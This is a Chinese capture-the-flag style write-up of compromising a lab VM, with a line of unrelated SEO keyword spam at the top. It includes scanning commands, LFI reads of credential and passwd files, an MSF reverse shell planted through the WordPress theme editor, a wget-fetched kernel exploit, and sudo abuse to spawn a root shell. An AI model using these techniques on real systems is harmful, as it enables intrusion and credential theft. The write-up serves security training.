品牌网站设计制作找哪家,网站怎么搭建,济南公众平台网站建设,肥西县建设官方局网站信息收集
存活主机探测
arp-scan -l 或者利用nmap
nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts 可以看到存活主机IP地址为#xff1a;192.168.217.134
端口探测
nmap -sT -p- 192.168.217.134 -oA ./ports UDP端口探测 详细服务等信息探测 开放端口22#x…信息收集
存活主机探测
arp-scan -l 或者利用nmap
nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts 可以看到存活主机IP地址为192.168.217.134
端口探测
nmap -sT -p- 192.168.217.134 -oA ./ports UDP端口探测 详细服务等信息探测 开放端口22ssh版本为openssh 7.2p2
80端口开放了http服务。
漏洞脚本探测
nmap -sT --scriptvuln -p22,80 192.168.217.134 -oA ./vuln 这里在进行漏洞脚本探测的时候发现了相关信息
存在wordpress好像是还存在一个低速的DDOS攻击这个就没什么用了。
WEB渗透测试
经过上面的信息收集我们收集到了靶机开放的端口存在两个 分别是22和80端口所以我们的突破口应该就是在80上了尝试访问服务 只有一张图片查看了源码什么都没有的
上面经过信息收集得到了该靶机上存在着wordpress所以我们尝试访问一下同时进行一下目录扫描吧 尝试了最经常的弱口令但是并没有登陆成功
目录爆破
目录扫描结果如下 尝试访问一下这几个目录吧先不知道扫描的结果全不全还是再利用其他的目录扫描工具扫一遍 扫描结果差不多。
访问一下上面扫描得到的路径吧
/dev 大概的意思就是我们现在刚开始我们应该利用我们的工具深入的进行渗透测试红色代表做过一遍之后看大佬的讲解重新编写补充内容
这里没看到very hard的含义有忽略所以导致了没有了攻击面这里使用dirb等工具进行目录扫描的时候其实默认是不会扫描txt zip等后缀的
这里可以使用自己的字典去尝试或者使用dirb -X 参数扫描指定后缀的敏感文件。
补充
dirb扫描结果 出现一个secret.txt文件 (看起来你已经得到了一些秘密ok 我仅仅是想帮助你下在你找到的每一个php页面进行模糊测试如果你得到了正确的参数的话就看下一步如果你遇到了阻碍的话就看看下面的这个工具)
模糊测试 javascript目录是禁止访问的
这里之前做过DC-2当时web服务器上运行的服务同样是wordpress当时利用了一个wordpress的工具wpscan。这里同样进行一下测试
wpscan --url http://192.168.217.134/wordpress/ 出来了很多的信息 wp-cron.php 源码里面是空的啥也没有
upload目录下 xmlrpc.php wordpress的版本是5.2.2版本网上找一下公开的漏洞
利用-e参数来枚举wordpress中存在的用户 得到了一个用户victor利用crew爬取网站上的密码
到这里没思路了上面提到了爆破感觉还是漏了什么东西拿着自己的字典重新进行了目录扫描
果然出现了新的信息secret.txt 访问下看看把 果然还是又提示的提示“尝试在你得到的每一个php路径上fuzz参数”然后提供了一个工具
使用这个工具进行参数的fuzz
我们得到的php文件分别有
image.php
index.php
/wordpress/wp-login.php
分别对这三个php进行参数的爆破
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ
-c高亮显示 得到了很多的payload我们利用回显的word长度的不同进行过滤
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ --hw 12 发现了参数file上面的提示还说了我们可以尝试看一下location.txt文件看到出来的file参数大概就是个任意文件读取了 发现确实存在回显任意文件读取尝试读取敏感文件/etc/passwd等读之前我还是看了一眼源码发现了更神奇的事情 又提供给我们一个重要的参数secrettier360!在其他的php页面上使用secrettier360这个参数或许更有趣
还剩下两个php页面image.php wordpress/wp-login.php。
先试试image把 如果是image页面这个页面存在什么漏洞呢sql注入、任意文件读取、命令执行 传入index.php发现页面回显index.php的源码还是任意文件读取
文件包含利用 发现了两个用户其中一个用户在上面的wpscan的时候就发现了victor还有一个saket用户find password.txt file in my directory:/home/saket
读一下/etc/shadow吧读不出东西来估计是没权限了
那就读一下/home/saket/password.txt吧 获得了一个密码follow_the_ippsec
试试ssh 登陆不上还是去web界面看下能不能登陆吧
最终发现使用用户名victor密码follow_the_ippsec能登陆
关于wordpress漏洞成功登陆后台之后需要先尝试如下的这两个漏洞-经验
插件上的文件上传漏洞可以上传zip压缩包主题编辑器上传漏洞
先尝试下插件上的文件上传漏洞随便上传一个zip的文件即可先判断是否可以上传 不能上传插件此漏洞走不通
之后就是招主题编辑器上的漏洞寻找是否存在可上传的文件在Appearance中Theme Editor中找到了一个奇怪的文件secret.php 获取后台权限
能上传文件利用MSF上传一个反弹shell木马
查看文件的内容并将其通过secret.php文件进行上传 上传 上传成功之后我们利用MSF起一个监听器
访问http://192.168.217.134/wordpress/wp-content/themes/twentynineteen/secret.php 便会收到会话 提权
拿到shell之后进行相关的信息收集 查看是否安装了python整一个交互性bash
dpkg -l | grep python 有python的环境利用python起一个有交互的bash
python -c import pty;pty.spawn(/bin/bash) 查看相应的权限 看到这个信息要知道的是存在用户saket不需要密码以root身份执行enc 看一下/home目录下存在哪些用户发现确实存在两个一个是victor另一个是saket 尝试切换到这两个用户的家目录下看啊可能都存在什么东西发现victor用户下无法执行 成功拿到了第一个flag
之后尝试提权利用内核版本漏洞进行提权
uname -a 版本是4.10.0-28-generic 内核是16.04 将这个文件上传到靶机上
本地起一个php服务器
php -S 0:80 然后我们在靶机上切换到网站的根目录下 或者是 临时目录下/tmp利用wget下载我们攻击机上的45010编译后的文件
wget http://192.168.217.128/45010 同时我们下载一下未编译的源文件避免我们在攻击机上编译的文件和靶机版本不同导致无法执行确实是没有办法执行的试过后写的然后我查看了靶机上是否存在gcc发现是存在的所以我们直接在靶机上编译执行即可 上面的这个问题就是说明我们的攻击机编译之后的文件没法在靶机上执行原因就是版本不一样我们需要模拟和靶机同版本的环境下编译源文件然后传到靶机上执行 需要给执行的权限
chmod x 45010.c
gcc 45010.c -o 45010-2
./45010-2 查看是否提成功 python起交互shell root.txt中存在着最终的flag 同时发现了存在sql.py文件里面存在着数据库的账号和密码 wordpress.sql文件 另一种提权的方法
MSF上线之后通过sudo -l发现一条奇怪的权限 可以以root的身份执行/home/saket/enc并且还不需要密码。
此时我们可以去看看这个enc是个文件夹还是可执行的文件 发现这是一个可执行的文件那么接下来我们可以尝试执行一下看看会发生什么 尝试执行却需要输入密码但是我们并不知道什么密码那怎么办那就找找主机上的pass文件
find / -name *pass* 2/dev/null
//寻找带有pass的文件 并且如果有报错的话 就丢弃
//为什么要有这个2/dev/null 是因为我们的权限并不是最高的 所以很多的目录 可能是拒绝访问的 于是便找到了如下自己觉得可能是敏感的pass文件 找了一圈没找到换个单词进行匹配backup 看起来这个好像是 拿着这个密码回去执行文件看看行不行应该是没问题的利用root权限执行enc文件 输出了一个good之后没了看看当前目录下是不是也会产生什么东西 产生两个文件其实大佬说上面看到这个enc文件就已经联想到了openssl加密当看到enc.txt key.txt的时候就确定了这就和openssl联系起来了 看了看这两个文件分别内容是什么。上面的enc好像是base64编码过的东西。下面的key是提示让我们将“ippsec”转换为md5哈希值然后获得我们想要的东西。
先听话转个MD5吧
echo -n ippsec | md5sum #-n代表 在计算md5哈希值的时候不要计算结尾的换行符 就是纯ippsec 这里还去掉了-n参数显然和上面的加上-n之后 md5的哈希值完全不同
显然后面还有两个空格和- 我们优雅一点给他去掉
echo -n ippsec | md5sum |awk -F {print $1} 之后干什么就是拿着这个哈希值作为key利用openssl解密enc.txt看看他到底说了什么
如何解密enc
echo -n nzEiKr82Kh8BOQg0k/LViTZJup9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKIdB3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkbbFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm/aWWVMxDOwKuqIT1ZZ0Nw4 | openssl enc -d -a -CypherType -k
解释一下各个参数
首先就是 echo -n 代表输出原始字符串 通过管道符 给到openssl
然后就是 enc 代表使用enc命令
-d 解密
-a base64解密
-CypherType 就是openssl中的命令中的一个 一共98种 你需要判断上面的加密enc字符串是什么类型
-k 指定key 由于我们不知道加密enc字符串的类型是什么所以利用最笨的方法就是遍历我们将下面的消息摘要复制出来 然后将没用的行、空格删除在vim种利用dd直接删除一行然后我们对整个的内容进行一个整理
awk {gsub(/ /,\n);print} xxx #其中的xxx是文件名 #利用awk 使用了gsub 全局替换空格为换行 由于存在大量的空格那么被替换之后也就存在了大量的换行针对这个我们可以进行排序并且取唯一
awk {gsub(/ /,\n);print} xxx| sort | uniq awk {gsub(/ /,\n);print} xxx| sort | uniq | wc -l #排序 取唯一之后利用wc -l统计行数 之后我们可以将我们处理好的数据写入到一个文件中
awk {gsub(/ /,\n);print} xxx| sort | uniq CipherType
之后我们仔细看一下openssl enc 的帮助
openssl enc --help -a 和 -base64的功能是一样的 就是base64的编码和解码 -K 代表着原始的key 还要使用使用十六进制编码
关于如何转换为十六进制我们可以利用od命令来转换odoctal dump主要用来转化八进制的但是他也是可以转化其他的进制
man od #查看od命令的帮助需要制定参数-A 指定一个根 这里我们的原始的数据是md5的哈希值因此我们可以-A n 其实就是None 此外需要指定一个参数-t 输出的格式 可以看到下面有x2 或者是-x 但是这是两个字节的我们需要是一个字节也就是说我们指定 -t x1即可 echo -n ippsec | md5sum |awk -F {print $1} | od -A n -t x1 最下面存在一个0a这其实就是一个换行符所以我们将换行符都去掉
echo -n ippsec | md5sum |awk -F {print $1} | tr -d \n|od -A n -t x1
tr命令是 trip的意思代表着修剪 -d参数代表着删除 之后我们再利用tr命令将换行和空格删除掉
echo -n ippsec | md5sum |awk -F {print $1} | tr -d \n|od -A n -t x1 | tr -d \n echo -n ippsec | md5sum |awk -F {print $1} | tr -d \n|od -A n -t x1 | tr -d \n | tr -d 此时我们已经得到了原始的key
3336366137346362336339353964653137643631646233303539316333396431
现在我们的命令差不多就写完了
echo -n nzEiKr82Kh8BOQg0k/LViTZJup9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKIdB3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkbbFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm/aWWVMxDOwKuqIT1ZZ0Nw4 | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 接下来就需要通过编写一个脚本来完成解密的任务
for Cipher in $(cat CipherType);do xxxxxx;done
#其中通过for循环来遍历cat CipherType的结果
然后就是利用do 做某一件事做的事情就是 openssl enc -d ....
done 就是做完了 但是我们发现爆出了很多的错误看起来好像没有能成功解开的这其实是openssl的一个bug就是-n 到底什么时候指定的问题这个没办法确定只能通过试试才能确定
现在将-n参数去掉再试试 最终我们还需要改进一下我们的脚本因为在运行的过程中爆出了很多的错误同时我们还想知道他解密的时候到底用的是哪一个Cipher
for Cipher in $(cat new_xx); do echo nzEiKr82Kh8BOQg0k/LViTZJup9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKIdB3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkbbFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm/aWWVMxDOwKuqIT1ZZ0Nw4 | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2/dev/null;echo $Cipher; done 可以看到他解密的时候用到的CipherType是aes-256-ecb
验证一下 没什么问题哈
之后利用这个密码尝试ssh登录saket 查看当前用户的权限 同理我们还是尝试执行以下这个文件吧还是和enc一样的利用sudo权限直接执行吧 如果你可以打败我然后在你面前挑战我 什么鬼 下面出现了一个报错 说是/tmp/challenge没找到这个文件
那我们自己给他新建一个然后里面写入代码不就好了
echo #!/bin/bash challenge
echo /bin/bash challenge
chmod x challenge
sudo /home/victor/undefeated_victor 最终提权成功